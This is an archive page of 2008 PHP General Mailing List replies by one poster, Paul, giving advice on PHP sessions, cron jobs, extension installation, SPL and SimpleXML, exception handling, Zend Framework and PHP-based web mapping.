unsubscribe, visit: http://www.php.net/unsub.php -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: [Slightly OT] Apple MacBook MAMP and Logic
On Fri, 2008-02-01 at 10:58 +, Colin Guthrie wrote: > That's just how sudo works tho' right? You can configure sudo to not > require a password for certain commands run by certain users. Not sure > how it works on the mac as there may be some kind of wrapper but I'm > sure there would be a way to allow your user to not enter a password for > loading xampp It's a mac. It's like *nix. It's tweakable ;) > For sure! Although not recommended, I change that behaviour as soon as I finish installing my system (generally Ubuntu). I really *hate* typing my password on my own system! What I do is create a root login by using sudo passwd root which asks for my password (one last time) then I get to have a root pass. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array iteration vs. ArrayIterator
On Fri, 2008-02-01 at 11:11 -0600, Greg Donald wrote: > Thanks for the benchmark. > Yes, thanks! It has just confirmed what I have been experiencing as well. I am busy converting a static site to a Chisimba CMS based site at the moment with 43 000 odd static, frontpage generated HTML pages. I have cut down processing times and regex times on the content from around 15 minutes to a few seconds (well waaay less than a minute anyway). During the course of all of this, I have managed to create quite a few SPL based classes that extend various aspects of the iterators especially, which I will share soon if anyone is interested. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Calling All Opinionated ******** ....
On Fri, 2008-02-01 at 22:18 +0100, Jochem Maas wrote: > I'd like to hear from people who have or are using ZF with regard to their > experiences, dislikes, likes, problems, new found fame and fortune, etc ... > but > only if it concerns ZF. > I have integrated a few ZF components into the Chisimba framework - search_lucene, Http_request, and a few others so far, and they are OK. I find some of the bits really slow, but solid, others perform well. My biggest gripe with ZF components is that the Exception handler Zend_Exception, is sometimes tricky to override with the native Chisimba customException handler (which produces pretty output as opposed to an ugly call stack, and logs the ugly things (user wise) to a log file). Sometimes it takes a few more minutes of time. Basically, I would say evaluate each component on its own merit. If you would like to use one, check the code and run some performance tests on it - sometimes you will be able to roll your own in less time and with simpler code. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php competion
On Sun, 2008-02-03 at 20:10 +1100, doc wrote: > come on people try you skills at > > http://www.rhwebhosting.com/comp/index.php Reworded as: Redesign our complete web presence and give us a couple of apps that we can flog to our clients, and we *may* give you a consolation prize. Yeah right. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Resetting a session variable
On Sun, 2008-02-03 at 13:14 -0500, Ron Piggott wrote: > What is the command to reset a session variable --- essentially deleting > all of the values it contains? Ron Assign the session to an empty array() and then use session_destroy() All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] about preg_replace, please help !
On Sun, 2008-02-03 at 21:06 -0800, Casey wrote: > Why do you need preg_replace? > Else he fails a homework assignment? --Paul -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Schedule tasks from server
On Mon, 2008-02-04 at 16:30 +0200, Pieter du Toit wrote: > Is there a way that i can schedule tasks on my webserver that will > automatically fire on a certain time and date, without anyone visiting the > website? > > This domain is hosted by a ISP and not by me. Ask your ISP if they support cron jobs - that'll do it. If they don't then I would suggest moving ISP's. I see you have an SA mail address - which ISP are you using? I probably know the answer already if you can tell me ;) --Paul -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Schedule tasks from server
On Mon, 2008-02-04 at 16:46 +0200, Pieter du Toit wrote: > I am using paradigmsolutions.co.za. I read about cronjobs, but aparently it > is only available on unix or linux hosting, is this true? Well, why not just host on *nix then? I see your site is a MS Frontpage one, but most linux based ISP's also support that anyway. That way you get the best of both worlds. Err, just one question though, if you are using FP, where does the PHP come in? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Anyone else doing PHP on Symbian?
On Tue, 2008-02-05 at 14:44 +, George Pitcher wrote: > I've recently installed PAMP (PHP, Apache, MySQL & Python) on my Nokia N95. > I can do my development in Dreamweaver and move across to the phone and it > all works. > Sounds intruiging! Care to share some resources/links as to how to set up? I have a Sony/Ericsson P990i that I don't mind destroying with insane hacks, and this sounds like fun! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how dod you get to do multiple mysql queries concurrently?
On Tue, 2008-02-05 at 11:53 -0600, Richard Lynch wrote: > This is actually pretty OT for the PHP list itself, really, unless you > want to try to implement GIS in PHP, which would be a particularly Bad > Idea (tm) due to the scale, scope, and calculations involved. > Err, sorry, but I must correct you there. PHP is used as one of the more common GIS (Web mapping at least) languages. I use it extensively with the UMN Mapserver (mapserver.gis.umn.edu) as PHP/Mapscript which you compile into PHP as an extension to access your map data. The OT part comes in with the actual guts of the db transaction, and the AJAX based interfaces that everyone insists on these days. PHP in this case is an extremely important aspect of web mapping, and I have even used PHP to interface to GRASS and other GIS apps (OK now _this_ is starting to be a Bad Idea(TM)). Some of the largest web mapping and scientific apps run off PHP/Mapscript (closest competitor is PythonMapscript). Just to let you know... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how dod you get to do multiple mysql queries concurrently?
On Mon, 2008-02-04 at 01:08 +0100, Jochem Maas wrote: > the column spec. what kind of geomtery column is it? and A geographical "geometry" i.e. a projected data set of Geo data. > are you using it as a primary key? or some else No, the integer gid is usually a primary key still. The geo data is indexed though. > ... if so what kind AFAIK it is a modified bTree index - but I will have to look closer to give you a more correct answer. > of stuff are you storing in there? also in what way are you > using it that gives you such a speed boost with queries? > Simply an index that is specific to a geometry. > I read the mysql docs, I understand the principles but I'm having > a hard time figuring out how to apply in practice in terms of > making use of the performance gains you mentione ... specifically > in a web environment where heavy queries are often along the lines > of paginated data combined with user defined filters (e.g. a product > list sorted by price, etc and filter on type/category/keyword/etc) > The web environment that we are talking about here is not really all that webby ;) It is more of a web frontend to a _very_ powerful database system... > sorry if I'm sounding like a idiot :-) > Not at all, how do we learn if we don't ask questions? There is no such thing as a stupid question, only stupid answers... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Anyone else doing PHP on Symbian?
On Tue, 2008-02-05 at 13:29 -0500, Daniel Brown wrote: > Still debating what > device I'll get next, but I want to use it as a mobile server myself. > I had been working on a bound-for-trash PDA doing the same a while > back, but with what we'll refer to as "limited results." I think that the key here is 1. A decent ARM processor and a PHP build for ARM specifically (new project??) 2. Enough RAM to be useful - at least figure out how to use a SD card or something as a RAMDisk and use like a 2GB card? 3. Getting an entire LAMP stack on there as a package - no use messing with things - otherwise people won't use it. Just think of the possibilities though... I do a lot in the eLearning sphere in PHP, and this type of thing could be a mobile eLearning server for rural schools in Africa that is actually affordable! Students could connect to it via thin clients or mobile phones and get an education all in one. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Fileinfo
On Tue, 2008-02-05 at 22:49 -0800, Mad Unix wrote: > I did what you recommended i get the same erorr > Depending on your distro, you may have 2 php.ini files. On debian based systems there certainly are. One for Apache to use and another for cli. Check that this is not the case first, you may just be using the incorrect file. At the end of the day, you could also just download the package, extract it, phpize it make && make install it also and leave the problems behind! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Fileinfo
On Tue, 2008-02-05 at 23:13 -0800, Mad Unix wrote: > thanks it works now > > Libraries have been installed in: >/usr/local/src/Fileinfo-1.0.3/modules > Be sure to remember to add the extension to your php.ini now as well with an extension= line and restart your server for the changes to take effect. --Paul -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Recommendation for an XML class?
On Wed, 2008-02-06 at 15:12 -0500, Nathan Nobbe wrote: > SimpleXML, > http://www.php.net/manual/en/ref.simplexml.php > Dude, I thought you were playing with SPL! SimpleXML _then_ use the SimpleXMLIterator to work with it! http://www.php.net/spl --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array problem with a zencart shipping module
On Wed, 2008-02-06 at 23:42 -0500, Nathan Nobbe wrote: > ouch, maybe you need to hire someone ? besides this has more to do than > just arrays; there is the rest of the application and clearly anyone whos > going > to help out must understand at least some of it.. Yeah, I concur! You really should at least understand what you are doing before attempting a shopping cart scenario where presumably people are going to be trusting you/your code with their hard earned dough. If you don't know arrays, then how exactly are you going to make sure that the thing is secure? I would _seriously_ consider taking Nathan's advice here and hiring someone to do this for you or even with you. With you has the advantage that next time, you will know, and be able to do it easier - as well as learn something along the way. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Exception handling in PHP
On Wed, 2008-02-06 at 22:52 -0800, Prabath Kumarasinghe wrote: > Hi All > > I'm little bit confusing with PHP exception handling. > Could you able to explain how to put try{} and > catch(){} in a proper way in PHP. I had already read > php exception manual but it didn't help me to get > exact idea about exception handling in php. > Well, its pretty simple really... In your objects that you create, just put in a statement that throws an exception of some sort (I like to extend the built in exception handler with a custom one that deals properly with db errors as well as PHP ones) and then try{} and catch(){} them in your business logic. example: class someclass { public function foo() { // do something ... else { throw new Exception("uh-oh - we have a problem!"); } } } $thing = new someclass; try { $thing->foo(); } catch(Exception $e) { echo $e->getMessage(); exit; } --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php